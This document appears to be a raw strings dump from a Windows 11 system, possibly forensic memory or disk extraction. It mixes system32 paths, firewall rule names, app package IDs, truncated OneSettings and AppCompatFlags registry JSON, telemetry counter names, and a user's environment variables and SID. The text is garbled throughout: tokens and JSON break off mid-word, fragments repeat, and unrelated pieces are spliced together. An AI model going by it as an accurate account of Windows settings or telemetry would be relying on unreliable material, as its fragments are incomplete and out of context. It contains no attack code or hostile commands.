{36996754-e327-483a-902f-523e2ba03239} {874ed11b-2ab7-4f1e-b275-6032092e3dda} {2bf706de-6dbb-4692-b7ef-84d80c47e927} Show website items in start recommendations. dev_ e\harddiskvolume3\windows\system32\sppextcomobj.exe e\harddiskvolume3\windows\system32\snmptrap.exe harddiskvolume3\ e\harddisk me3\window/ system32\sppextcomobj.exe e\harddiskvolume3\windows\system32 .exe %dev disk lume3\windows\system32\wbengin dows\One amData\M Settings Windows.Internal.StateRepository.User Service-0x0-3e7$\Default GISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0C9281F9-6DA1-4006-8729-DE6E6B61581C} B+ncalrpc:[OLEC1C73748FB19D064763CE8BB9FB1] NT AUTHORITY\SYSTEM Windows.Internal.StateRepository.Package Service-0x0-3e7$\Default for web rch. 47d-9bd2 3888 bb1-ab17 7665 \ControlSet001\C [erm rviceLOM Oerm rviceLOM Perm rviceLOM ~mRd ervice-2 }mRd ervice-1 //SYSAPPID MicrosoftWindows.Client.OOBE_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.OOBE_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Win32WebViewHost_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Win32WebViewHost_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.OOBE_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Win32WebViewHost_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.OOBE_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Win32WebViewHost_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy e\harddiskvolume3\windows\system32\snmptrap.exe e\harddiskvolume3\windows\system32\svchost.exe e\harddiskvolume3\windows\system32\svchost.exe system32\svchost.exe volu em32 $dev e\harddiskvolume3\windows\system32\svchost.exe #dev e\harddiskvolume3\windows\system32\svchost.exe )dev e\harddiskvolume3\windows\system32\svchost.exe .dev e\harddiskvolume3\windows\system32\svchost.exe 4dev e\harddiskvolume3\windows\system32\svchost.exe +nte etClientServer Outbound Default Rule @nte etClientServer Outbound Default Rule !dev e\harddiskvolume3\windows\system32\svchost.exe =dev e\harddiskvolume3\windows\system32\svchost.exe 7dev e\harddiskvolume3\windows\system32\svchost.exe "dev e\harddiskvolume3\windows\system32\svchost.exe 3dev e\harddiskvolume3\windows\system32\svchost.exe *dev e\harddiskvolume3\windows\system32\svchost.exe ,dev e\harddiskvolume3\windows\system32\svchost.exe &dev e\harddiskvolume3\windows\system32\svchost.exe 9dev e\harddiskvolume3\windows\system32\svchost.exe %dev e\harddiskvolume3\windows\system32\svchost.exe 'nte etClientServer Outbound Default Rule MemCompression gram Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe d rule for the RPCSS service to allow RPC/TCP traffic for the local Event Log Service. nd rule for Media Center Extenders to allow UPnP traffic for Media Streaming. [TCP] gram Files\WindowsApps\MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe\ms-teams.exe gram Files\WindowsApps\MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe\ms-teams.exe nd rule for the Cast to Device server to allow streaming using RTSP and RTP. [UDP] d rule for Media Center Extenders to allow RTSP AV Control. [TCP 554, TCP 8554-8558] d rule for Wireless Portable Devices to allow use of Universal Plug and Play. [TCP 2869] s_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-In-Allow-ServerCapability ramD[ AUTOMATICCORRUPTIONREPAIRPLUGIN_MAXUPTIMETHRESHOLD AutomaticCorruptionRepairPlugin_MinUptimeThreshold AutomaticCorruptionRepairPlugin_MaxUptimeThreshold AUTOMATICCORRUPTIONREPAIRPLUGIN_MINUPTIMETHRESHOLD AUTOMATICCORRUPTIONREPAIRPLUGIN_PLUGINMAINTENANCEMODE AutomaticCorruptionRepairPlugin_ACRIterationCount RegValueType ValueName RegValueType REG_DWORD REG_DWORD ValueName REG_DWORD REG_DWORD RegValueType REG_DWORD ValueName ValueName RegValueType ValueName RegValueType ValueName RegValueType REG_DWORD ValueName REG_DWORD RegValueType ValueName REG_DWORD RegValueType ValueName RegValueType RegValueType ValueName ValueName RegValueType RegValueType REG_DWORD REG_DWORD RegValueType ValueName REG_DWORD ValueName ValueName REG_DWORD RegValueType RegValueType RegValueType lags ft\Windo T\Cu \AppComp OneS ontainer T\Cu \AppComp OneS cros ows\ ataReset in_T cuti meou RegValueType REG_DWORD RegValueType ValueName REG_DWORD REG_DWORD ValueName REG_DWORD DisableDeletes REG_DWORD ValueName REG_DWORD REG_DWORD RegValueType RegValueType ValueName DISABLEDELETES ENDPOINT.RUXIM RegValueType ValueName ValueName REG_DWORD REG_DWORD RegValueType ValueName RegValueType CtacAppId RegValueType ValueName RegValueType ValueName MigrateSettings RegValueType REG_DWORD RegValueType ValueName ValueName RegValueType PayloadHandler RegValueType ValueName REG_DWORD sion\\AppCompatFlags\\OneSettings\\Logger","PersistedSourceId":"AppCompatFlags"},"Settings":{"DYNAPIENABLED":{"ValueName":"DynApiEnabled","RegValueType":"REG_DWORD"},"DYNAPITRACELEVEL":{"ValueName":"DynApiTraceLevel","RegValueType":"REG_DWORD"},"DYNAPISPS":{"ValueName":"DynApiSPS","RegValueType":"REG_DWORD"},"DYNAPIFUL":{"ValueName":"DynApiFUL","RegValueType":"REG_DWORD"},"DYNAPIWMINU":{"ValueName":"DynApiWMINU","RegValueType":"REG_DWORD"},"DYNAPIUPPERIODMS":{"ValueName":"DynApiUPPeriodMS","RegValueType":"REG_DWORD"},"DYNAPIRESETPERIODMS":{"ValueName":"DynApiResetPeriodMS","RegValueType":"REG_DWORD"},"DYNAPIKEEPDATA":{"ValueName":"DynApiKeepData","RegValueType":"REG_DWORD"},"DYNAPIAPPID":{"ValueName":"DynApiAPPID","RegValueType":"REG_DWORD"},"DYNAPINPR":{"ValueName":"DynApiNPR","RegValueType":"REG_DWORD"},"DYNAPIPICCACHE":{"ValueName":"DynApiPicCache","RegValueType":"REG_DWORD"},"DYNAPIFILTERKERNEL":{"ValueName":"DynApiFilterKernel","RegValueType":"REG_DWORD"},"DYNAPISTOPTIMERMINUTES":{"ValueName":"DynApiStopTimerMinutes","RegValueType":"REG_DWORD"},"APPFILEDEPTH":{"ValueName":"AppFileDepth","RegValueType":"REG_DWORD"},"APPFILELOGFLAGS":{"ValueName":"AppFileLogFlags","RegValueType":"REG_DWORD"},"APPREGDEPTH":{"ValueName":"AppRegDepth","RegValueType":"REG_DWORD"},"APPREGLOGFLAGS":{"ValueName":"AppRegLogFlags","RegValueType":"REG_DWORD"},"SAMPLINGDURATIONHARDSEC":{"RegValueType":"REG_DWORD","ValueName":"SamplingDurationHardSec"},"SAMPLINGDURATIONSOFTSEC":{"ValueName":"SamplingDurationSoftSec","RegValueType":"REG_DWORD"},"ENABLELOGGING":{"ValueName":"EnableLogging","RegValueType":"REG_SZ"},"INSTALLERFILEDEPTH":{"ValueName":"InstallerFileDepth","RegValueType":"REG_DWORD"},"INSTALLERFILELOGFLAGS":{"ValueName":"InstallerFileLogFlags","RegValueType":"REG_DWORD"},"INSTALLERREGDEPTH":{"ValueName":"InstallerRegDepth","RegValueType":"REG_DWORD"},"INSTALLERREGLOGFLAGS":{"ValueName":"InstallerRegLogFlags","RegValueType":"REG_DWORD"},"MAXCACHESIZEKB":{"ValueName":"MaxCacheSizeKB","RegValueType":"REG_DWORD"},"MAXTEMPSIZEKB":{"VstallTracing","DeviceTicketOption":1,"CtacAppId":"CompatLogger","StrictRefreshInterval":false,"Payload":{"PayloadHandler":"REGISTRY","Metadata":{"Defaults":{"FullPath":"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\OneSettings\\InstallTracing","PersistedSourceId":"AppCompatFlags"},"Settings":{"EnableMonitoring":{"ValueName":"EnableMonitoring","RegValueType":"REG_DWORD","FullPath":"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\OneSettings\\InstallTracing"},"ShouldSendUtc":{"ValueName":"ShouldSendUtc","RegValueType":"REG_DWORD","FullPath":"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\OneSettings\\InstallTracing"},"ShouldLogToDisk":{"ValueName":"ShouldLogToDisk","RegValueType":"REG_DWORD","FullPath":"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\OneSettings\\InstallTracing"},"MinCpuCores":{"ValueName":"MinCpuCores","RegValueType":"REG_DWORD","FullPath":"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\OneSettings\\InstallTracing"},"MinFreeDiskGB":{"ValueName":"MinFreeDiskGB","RegValueType":"REG_DWORD","FullPath":"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\OneSettings\\InstallTracing"},"MinRamGB":{"ValueName":"MinRamGB","RegValueType":"REG_DWORD","FullPath":"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\OneSettings\\InstallTracing"},"MonitorDurationHardSec":{"ValueName":"MonitorDurationHardSec","RegValueType":"REG_DWORD","FullPath":"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\OneSettings\\InstallTracing"},"MonitorDurationSoftSec":{"ValueName":"MonitorDurationSoftSec","RegValueType":"REG_DWORD","FullPath":"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\OneSettings\\InstallTracing"}}}}},"ENDPOINT.COMPATLOGGER":{"Partner":"compat","Feature":"encapsulation","DeviceTicketOption":1,"CtacAppId":"COMPATLOGGER","StrictRefreshInterval":true,"Payload":{"PayloadHandler":"REGISTRY","Metadata":{"Defaults":{"FullPath":"SOFTWARE\\Microsoft\\Windows NT\\CurrentVer amic {"queryUrl":"/settings/v3.0/OneSettings/Client","settings":{"ENDPOINT.FCON":{"Partner":"WaaS","Feature":"FeatureManagement","CtacAppId":"CDM","StrictRefreshInterval":true,"DeviceTicketOption":2,"MigrateSettings":true,"KnownEntityId":"35681102","Payload":{"PayloadHandler":"FILE","Metadata":{"Dir":"%ProgramData%\\Microsoft\\Windows\\OneSettings","Name":"FeatureConfig.json","NameBackup":"FeatureConfig.bak.json"}},"Notification":{"NotificationType":"WNF","Metadata":{"Data0":2747009141,"Data1":43319610}}},"ENDPOINT.MUSE":{"Partner":"WSD","Feature":"Muse","CtacAppId":"Muse","StrictRefreshInterval":true,"OnDemandOnly":false,"Payload":{"PayloadHandler":"FILE","Metadata":{"Dir":"%ProgramData%\\Microsoft\\Windows\\OneSettings","Name":"UsoSettings.json"}},"ShouldMigrate":false,"Notification":{"NotificationType":"WNF","Metadata":{"Data0":2747017333,"Data1":43319610}},"RefreshIntervals":{"TargetingChange":{"Normal":5,"Costed":5,"Battery":5}}},"ENDPOINT.ASAPCP":{"Partner":"analog","Feature":"ASAP_CloudPolicy","DeviceTicketOption":0,"CtacAppId":"ASAP_CloudPolicy","StrictRefreshInterval":true,"Payload":{"PayloadHandler":"FILE","Metadata":{"Dir":"%ProgramData%\\Microsoft\\Windows\\OneSettings","Name":"ASAP_CloudPolicy.json"}}},"ENDPOINT.STORAGEGROVELER":{"Partner":"Storage","Feature":"StorageGroveler","DeviceTicketOption":0,"CtacAppId":"STORAGEGROVELER","StrictRefreshInterval":true,"MigrateSettings":true,"Payload":{"PayloadHandler":"FILE","Metadata":{"Dir":"%ProgramData%\\Microsoft\\Windows\\OneSettings","Name":"StorageGroveler.json"}}},"ENDPOINT.APPARCHIVING":{"Partner":"WindowsApps","Feature":"AppArchiving","CtacAppId":"Default","MigrateSettings":true,"DeviceTicketOption":0,"StrictRefreshInterval":true,"Payload":{"PayloadHandler":"FILE","Metadata":{"Dir":"%ProgramData%\\Microsoft\\Windows\\OneSettings","Name":"AppArchiving.json"}}},"ENDPOINT.COAWOS":{"Partner":"Sustainability","Feature":"CarbonAwareOS","CtacAppId":"PHS","MigrateSettings":true,"StrictRefreshInterval":true,"Payload":{"PayloadHandler":"FILE","Metadat DelaySec DelaySec thrdSec ddenArps THRDSEC ft\Windo T\Cu \AppComp OneS ft\Windo T\Cu \AppComp OneS ValueName ValueName REG_DWORD ValueName REG_DWORD REG_DWORD ValueName ValueName G_DW ValueN@ idW:0000f519feec486de87ed73cb92d3cac802400000000!0000d87367d5078c476b109dc3312b62781513330055!svchost.exeh 2050/10/02:09:40:39!257D6!svchost.exeh is1P asId1 bootId iKeyo:0a89d516ae714e01ae89c96d185e9ae3 _processId _tid _userSidS-1-5-21-3914889805-4071901059-918772286-10012 _userCid privacy metadataW nameKernelProcess.AppStateChangeSummaryu time datah LaunchCounte LaunchCounte SuspendCount SuspendCount ResumeCount ResumeCountd TerminateCount TerminateCount CrashCount CrashCount HeartbeatCount HeartbeatCount HeartbeatSuspendedCountl HeartbeatSuspendedCountC ProcessDurationMS_Sum2 ProcessDurationMS_Sumt RunningDurationMS_Sumt RunningDurationMS_Sum HangCount_Sum HangCount_Sume GhostCount_Sum GhostCount_Sum HandleCountAtExit_Sum HandleCountAtExit_Sums CommitChargeAtExit_Sum CommitChargeAtExit_Sum CommitChargePeakAtExit_Sum CommitChargePeakAtExit_Sum ReadCountAtExit_Sums ReadCountAtExit_Sumo ReadSizeInKBAtExit_Sum ReadSizeInKBAtExit_Sum WriteCountAtExit_Sum WriteCountAtExit_Sum WriteSizeInKBAtExit_Sum WriteSizeInKBAtExit_Summ CycleCountAtExit_Sum CycleCountAtExit_Sum ExitStatusNegativeCountC ExitStatusNegativeCountr ExitStatusZeroCountC ExitStatusZeroCounte ExitStatusOneCount ExitStatusOneCount HitPrefilterUECountc HitPrefilterUECount2 HardFaultCountAtExit_Sum HardFaultCountAtExit_Sum ExtraInfoFlags ExtraInfoFlags app5 is1P TargetAppId9W:0000918cba1f5d007ca7b732760eec30372f00000904!0000eab7277e0284fcdaebf7193b7da141f2b03c2532!VGAuthService.exe2 TargetAppVer2025/07/09:16:49:26!2BF99!VGAuthService.exex TargetAppTypepDesktopn LicenseType <NotSupported> CommandLineHasht ContainerIdI ContainerIda privTags dataType idW:0000f519feec486de87ed73cb92d3cac802400000000!0000d87367d5078c476b109dc3312b62781513330055!svchost.exe0 vers2050/10/02:09:40:39!257D6!svchost.exe5 is1P asId1 bootId iKeyo:0a89d516ae714e01ae89c96d185e9ae3 _processId _tid _userSidS-1-5-21-3914889805-4071901059-918772286-10019 _userCid t","RegValueType":"REG_DWORD"},"DYNAMICPROTECTIONPLUGIN_AUTOONLY":{"ValueName":"DynamicProtectionPlugin_AutoOnly","RegValueType":"REG_DWORD"},"DYNAMICPROTECTIONPLUGIN_DETECTIONONLY":{"ValueName":"DynamicProtectionPlugin_DetectionOnly","RegValueType":"REG_DWORD"},"DYNAMICPROTECTIONPLUGIN_ENABLED":{"ValueName":"DynamicProtectionPlugin_Enabled","RegValueType":"REG_DWORD"},"DYNAMICPROTECTIONPLUGIN_IMPACTLEVEL":{"ValueName":"DynamicProtectionPlugin_ImpactLevel","RegValueType":"REG_SZ"},"DYNAMICPROTECTIONPLUGIN_INTERACTIVEONLY":{"ValueName":"DynamicProtectionPlugin_InteractiveOnly","RegValueType":"REG_DWORD"},"DYNAMICPROTECTIONPLUGIN_INTERVALINHOURS":{"ValueName":"DynamicProtectionPlugin_IntervalInHours","RegValueType":"REG_DWORD"},"DYNAMICPROTECTIONPLUGIN_MAXUPTIMETHRESHOLD":{"ValueName":"DynamicProtectionPlugin_MaxUptimeThreshold","RegValueType":"REG_DWORD"},"DYNAMICPROTECTIONPLUGIN_MINUPTIMETHRESHOLD":{"ValueName":"DynamicProtectionPlugin_MinUptimeThreshold","RegValueType":"REG_DWORD"},"DYNAMICPROTECTIONPLUGIN_ORDER":{"ValueName":"DynamicProtectionPlugin_Order","RegValueType":"REG_DWORD"},"DYNAMICPROTECTIONPLUGIN_PLUGINMAINTENANCEMODE":{"ValueName":"DynamicProtectionPlugin_PluginMaintenanceMode","RegValueType":"REG_DWORD"},"DYNAMICPROTECTIONPLUGIN_RUNONMANAGED":{"ValueName":"DynamicProtectionPlugin_RunOnManaged","RegValueType":"REG_DWORD"},"DYNAMICPROTECTIONPLUGIN_SERVERSKUBLOCK":{"ValueName":"DynamicProtectionPlugin_ServerSkuBlock","RegValueType":"REG_DWORD"},"DYNAMICPROTECTIONPLUGIN_THREADEXECUTIONTIMEOUTINSECONDS":{"ValueName":"DynamicProtectionPlugin_ThreadExecutionTimeoutInSeconds","RegValueType":"REG_DWORD"},"DYNAMICPROTECTIONPLUGIN_MANUALREMEDIATIONCAMPAIGNID":{"ValueName":"DynamicProtectionPlugin_ManualRemediationCampaignId","RegValueType":"REG_SZ"},"DYNAMICPROTECTIONPLUGIN_MAXMANUALREMEDIATIONATTEMPTS":{"ValueName":"DynamicProtectionPlugin_MaxManualRemediationAttempts","RegValueType":"REG_DWORD"},"DYNAMICPROTECTIONPLUGIN_MANUALREMEDIATIONINTERVALINHOURS":{"ValueName":"DynamicProtectionPlugin_ManualRemediatiFPS-SMB-In-TCP Microsoft Teams Microsoft Teams Microsoft Teams Game Bar Game Bar WMP-Out-TCP dnscache dnscache S-1-5-18 FPS-SMB-Out-TCP S-1-5-18 S-1-5-18 S-1-5-18 S-1-5-18 S-1-5-18 Microsoft Teams WMP-Out-UDP-x86 WMP-Out-UDP dnscache S-1-5-18 S-1-5-18 Microsoft Teams PeerDistSvc Microsoft Teams termservice S-1-5-18 Microsoft Teams Microsoft Teams Microsoft Teams File and Printer Sharing (Restrictive) (Spooler Service - RPC-EPMAP) File and Printer Sharing (Restrictive) (Echo Request - ICMPv4-Out) Inbound rule for BranchCache to allow data transfer using HTTP [TCP 80] MicrosoftWindows.Client.FileExp_cw5n1h2txyewy-Out-Allow-AllCapabilities MicrosoftWindows.Client.OOBE_cw5n1h2txyewy-In-Allow-ServerCapability MicrosoftWindows.Client.Core_cw5n1h2txyewy-Out-Allow-AllCapabilities DWORD"},"USOCLEANUPPLUGIN_THRESHOLDCLEANUPDSINDAYS":{"ValueName":"UsoCleanupPlugin_ThresholdCleanupDSINDays","RegValueType":"REG_DWORD"},"USOCLEANUPPLUGIN_MANUALREMEDIATIONCAMPAIGNID":{"ValueName":"UsoCleanupPlugin_ManualRemediationCampaignId","RegValueType":"REG_SZ"},"USOCLEANUPPLUGIN_MAXMANUALREMEDIATIONATTEMPTS":{"ValueName":"UsoCleanupPlugin_MaxManualRemediationAttempts","RegValueType":"REG_DWORD"},"USOCLEANUPPLUGIN_MANUALREMEDIATIONINTERVALINHOURS":{"ValueName":"UsoCleanupPlugin_ManualRemediationIntervalInHours","RegValueType":"REG_DWORD"},"CANVASPLUGIN_ACTIONLIMIT":{"ValueName":"CanvasPlugin_ActionLimit","RegValueType":"REG_DWORD"},"CANVASPLUGIN_AUTOONLY":{"ValueName":"CanvasPlugin_AutoOnly","RegValueType":"REG_DWORD"},"CANVASPLUGIN_DETECTIONONLY":{"ValueName":"CanvasPlugin_DetectionOnly","RegValueType":"REG_DWORD"},"CANVASPLUGIN_ENABLED":{"ValueName":"CanvasPlugin_Enabled","RegValueType":"REG_DWORD"},"CANVASPLUGIN_IMPACTLEVEL":{"ValueName":"CanvasPlugin_ImpactLevel","RegValueType":"REG_SZ"},"CANVASPLUGIN_INTERACTIVEONLY":{"ValueName":"CanvasPlugin_InteractiveOnly","RegValueType":"REG_DWORD"},"CANVASPLUGIN_INTERVALINHOURS":{"ValueName":"CanvasPlugin_IntervalInHours","RegValueType":"REG_DWORD"},"CANVASPLUGIN_MAXUPTIMETHRESHOLD":{"ValueName":"CanvasPlugin_MaxUptimeThreshold","RegValueType":"REG_DWORD"},"CANVASPLUGIN_MINUPTIMETHRESHOLD":{"ValueName":"CanvasPlugin_MinUptimeThreshold","RegValueType":"REG_DWORD"},"CANVASPLUGIN_ORDER":{"ValueName":"CanvasPlugin_Order","RegValueType":"REG_DWORD"},"CANVASPLUGIN_PLUGINMAINTENANCEMODE":{"ValueName":"CanvasPlugin_PluginMaintenanceMode","RegValueType":"REG_DWORD"},"CANVASPLUGIN_RUNONMANAGED":{"ValueName":"CanvasPlugin_RunOnManaged","RegValueType":"REG_DWORD"},"CANVASPLUGIN_SERVERSKUBLOCK":{"ValueName":"CanvasPlugin_ServerSkuBlock","RegValueType":"REG_DWORD"},"CANVASPLUGIN_THREADEXECUTIONTIMEOUTINSECONDS":{"ValueName":"CanvasPlugin_ThreadExecutionTimeoutInSeconds","RegValueType":"REG_DWORD"},"CANVASPLUGIN_MANUALREMEDIATIONCAMPAIGNID":{"ValueName":"CanvasPlugin_ManualRemeEMEDIATIONATTEMPTS":{"ValueName":"AutoInPlaceUpgradeInboxPlugin_MaxManualRemediationAttempts","RegValueType":"REG_DWORD"},"AUTOINPLACEUPGRADEINBOXPLUGIN_MANUALREMEDIATIONINTERVALINHOURS":{"ValueName":"AutoInPlaceUpgradeInboxPlugin_ManualRemediationIntervalInHours","RegValueType":"REG_DWORD"},"USOCLEANUPPLUGIN_THREADEXECUTIONTIMEOUTINSECONDS":{"ValueName":"UsoCleanupPlugin_ThreadExecutionTimeoutInSeconds","RegValueType":"REG_DWORD"},"USOCLEANUPPLUGIN_INTERVALINHOURS":{"ValueName":"UsoCleanupPlugin_IntervalInHours","RegValueType":"REG_DWORD"},"USOCLEANUPPLUGIN_ACTIONLIMIT":{"ValueName":"UsoCleanupPlugin_ActionLimit","RegValueType":"REG_DWORD"},"USOCLEANUPPLUGIN_AUTOONLY":{"ValueName":"UsoCleanupPlugin_AutoOnly","RegValueType":"REG_DWORD"},"USOCLEANUPPLUGIN_DETECTIONONLY":{"ValueName":"UsoCleanupPlugin_DetectionOnly","RegValueType":"REG_DWORD"},"USOCLEANUPPLUGIN_ENABLED":{"ValueName":"UsoCleanupPlugin_Enabled","RegValueType":"REG_DWORD"},"USOCLEANUPPLUGIN_IMPACTLEVEL":{"ValueName":"UsoCleanupPlugin_ImpactLevel","RegValueType":"REG_SZ"},"USOCLEANUPPLUGIN_INTERACTIVEONLY":{"ValueName":"UsoCleanupPlugin_InteractiveOnly","RegValueType":"REG_DWORD"},"USOCLEANUPPLUGIN_PLUGINMAINTENANCEMODE":{"ValueName":"UsoCleanupPlugin_PluginMaintenanceMode","RegValueType":"REG_DWORD"},"USOCLEANUPPLUGIN_MAXDEFERRALPERIOD":{"ValueName":"UsoCleanupPlugin_MaxDeferralPeriod","RegValueType":"REG_DWORD"},"USOCLEANUPPLUGIN_MAXUPTIMETHRESHOLD":{"ValueName":"UsoCleanupPlugin_MaxUptimeThreshold","RegValueType":"REG_DWORD"},"USOCLEANUPPLUGIN_MINUPTIMETHRESHOLD":{"ValueName":"UsoCleanupPlugin_MinUptimeThreshold","RegValueType":"REG_DWORD"},"USOCLEANUPPLUGIN_ORDER":{"ValueName":"UsoCleanupPlugin_Order","RegValueType":"REG_DWORD"},"USOCLEANUPPLUGIN_RUNONMANAGED":{"ValueName":"UsoCleanupPlugin_RunOnManaged","RegValueType":"REG_DWORD"},"USOCLEANUPPLUGIN_SERVERSKUBLOCK":{"ValueName":"UsoCleanupPlugin_ServerSkuBlock","RegValueType":"REG_DWORD"},"USOCLEANUPPLUGIN_STARVATIONTHRESHOLD":{"ValueName":"UsoCleanupPlugin_StarvationThreshold","RegValueType":"REG_ 76E-B926-580E596AD309} {78E1CD88-49E3-476E-B926-580E596AD309} {78E1CD88-49E3-476E-B926-580E596AD309} ms-resource:ProductPkgDisplayName {EB51D9FD-0B85-4E95-A324-45312327E8F0} ms-resource:ProductPkgDisplayName {78E1CD88-49E3-476E-B926-580E596AD309} ms-resource:ProductPkgDisplayName ms-resource:ProductPkgDisplayName {78E1CD88-49E3-476E-B926-580E596AD309} ms-resource:ProductPkgDisplayName Microsoft.AccountsControl_cw5n1h2txyewy ms-resource:ProductPkgDisplayName ms-resource:ProductPkgDisplayName ms-resource:ProductPkgDisplayName {08BA9289-ED1F-4928-9BFE-CC5E4CCB01C5} ms-resource:ProductPkgDisplayName {1D5F0D09-551D-4301-A2D8-506B2B13A95E} Microsoft.StorePurchaseApp_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-Out-Allow-AllCapabilities @{Microsoft.Todos_0.120.7961.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Todos/Resources/app_name_ms_todo} @{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName} Microsoft.Xbox.TCUI_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-Out-Allow-AllCapabilities ReadCountAtExit_Sum ReadSizeInKBAtExit_Sum ReadSizeInKBAtExit_Sum WriteCountAtExit_Sum WriteCountAtExit_Sum WriteSizeInKBAtExit_Sum WriteSizeInKBAtExit_Summ CycleCountAtExit_Sum CycleCountAtExit_Sum ExitStatusNegativeCountC ExitStatusNegativeCountr ExitStatusZeroCountC ExitStatusZeroCounte ExitStatusOneCount ExitStatusOneCount HitPrefilterUECountc HitPrefilterUECount2 HardFaultCountAtExit_Sum HardFaultCountAtExit_Sum ExtraInfoFlags ExtraInfoFlags app5 is1P TargetAppId9W:0000f519feec486de87ed73cb92d3cac802400000000!0000d87367d5078c476b109dc3312b62781513330055!svchost.exec TargetAppVer2050/10/02:09:40:39!257D6!svchost.exeh TargetAppTypeaDesktopT LicenseType <NotSupported> CommandLineHashm ContainerId ContainerId privTags dataType idW:0000f519feec486de87ed73cb92d3cac802400000000!0000d87367d5078c476b109dc3312b62781513330055!svchost.exe ver02050/10/02:09:40:39!257D6!svchost.exe is1P asId1 bootId iKeyo:0a89d516ae714e01ae89c96d185e9ae3 _processId _tid _userSidS-1-5-21-3914889805-4071901059-918772286-1001 _userCid privacy metadataW nameKernelProcess.AppStateChangeSummaryu time datah LaunchCounte LaunchCounte SuspendCount SuspendCount ResumeCount ResumeCountd TerminateCount TerminateCount CrashCount CrashCount HeartbeatCount HeartbeatCount HeartbeatSuspendedCountl HeartbeatSuspendedCountC ProcessDurationMS_Sum2 ProcessDurationMS_Sumt tbeatSuspendedCountl HeartbeatSuspendedCountC ProcessDurationMS_Sum2 ProcessDurationMS_Sumt RunningDurationMS_Sumt RunningDurationMS_Sum HangCount_Sum HangCount_Sume GhostCount_Sum GhostCount_Sum HandleCountAtExit_Sum HandleCountAtExit_Sums CommitChargeAtExit_Sum CommitChargeAtExit_Sum CommitChargePeakAtExit_Sum CommitChargePeakAtExit_Sum ReadCountAtExit_Sums ReadCountAtExit_Sumo ReadSizeInKBAtExit_Sum ReadSizeInKBAtExit_Sum WriteCountAtExit_Sum WriteCountAtExit_Sum WriteSizeInKBAtExit_Sum WriteSizeInKBAtExit_Sum7 CycleCountAtExit_Sum CycleCountAtExit_Sum ExitStatusNegativeCount ExitStatusNegativeCount! ExitStatusZeroCount ExitStatusZeroCounte ExitStatusOneCount ExitStatusOneCount HitPrefilterUECountc HitPrefilterUECount2 HardFaultCountAtExit_Sum HardFaultCountAtExit_Sum ExtraInfoFlags ExtraInfoFlags appf is1P TargetAppId6W:0000f519feec486de87ed73cb92d3cac802400000000!0000d87367d5078c476b109dc3312b62781513330055!svchost.exe TargetAppVer2050/10/02:09:40:39!257D6!svchost.exe TargetAppTypekDesktop LicenseTypet<NotSupported> CommandLineHash ContainerId ContainerId privTags dataType idW:0000f519feec486de87ed73cb92d3cac802400000000!0000d87367d5078c476b109dc3312b62781513330055!svchost.exe ver02050/10/02:09:40:39!257D6!svchost.exe is1P asId1 bootId iKeyo:0a89d516ae714e01ae89c96d185e9ae3 _processId _tid _userSidS-1-5-21-3914889805-4071901059-918772286-1001 _userCid privacy privacy metadataW nameKernelProcess.AppStateChangeSummaryu time datah LaunchCounte LaunchCounte SuspendCount SuspendCount ResumeCount ResumeCountd TerminateCount TerminateCount CrashCount CrashCount HeartbeatCount HeartbeatCount Hear ++S+ e4f-0ec0-11f1-b1f7-806e6 ice\ \Device\HarddiskVolume3\Windows\System32\ctfmon.exe s.dll \Device\HarddiskVolume3\Windows\System32\en-US\crypt32.dll.mui \Device\HarddiskVolume3\Windows\System32\twinui.pcshell.dll \Device\HarddiskVolume3\Windows\System32\UIAutomationCore.dll \Device\HarddiskVolume3\Windows\System32\en-US\sppsvc.exe.mui \Device\HarddiskVolume3\Windows\SysWOW64\netapi32.dll::$EA 8<DiagTrackTraceSlot_miniTrace h2txyewys.ContentDeliveryManager .0_x HealthPl _Thr tion outI WebExperienceHost.AppXtxeqzv5qynpmss219yp8y0zwb6g7a52b.mca MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy WinSta0\Default ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\job\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData EFC_3940_2283032206=1 HOMEDRIVE=C: HOMEPATH=\Users\job LOCALAPPDATA=C:\Users\job\AppData\Local LOGONSERVER=\\WINDOWS11 NUMBER_OF_PROCESSORS=2 OneDrive=C:\Users\job\OneDrive OS=Windows_NT 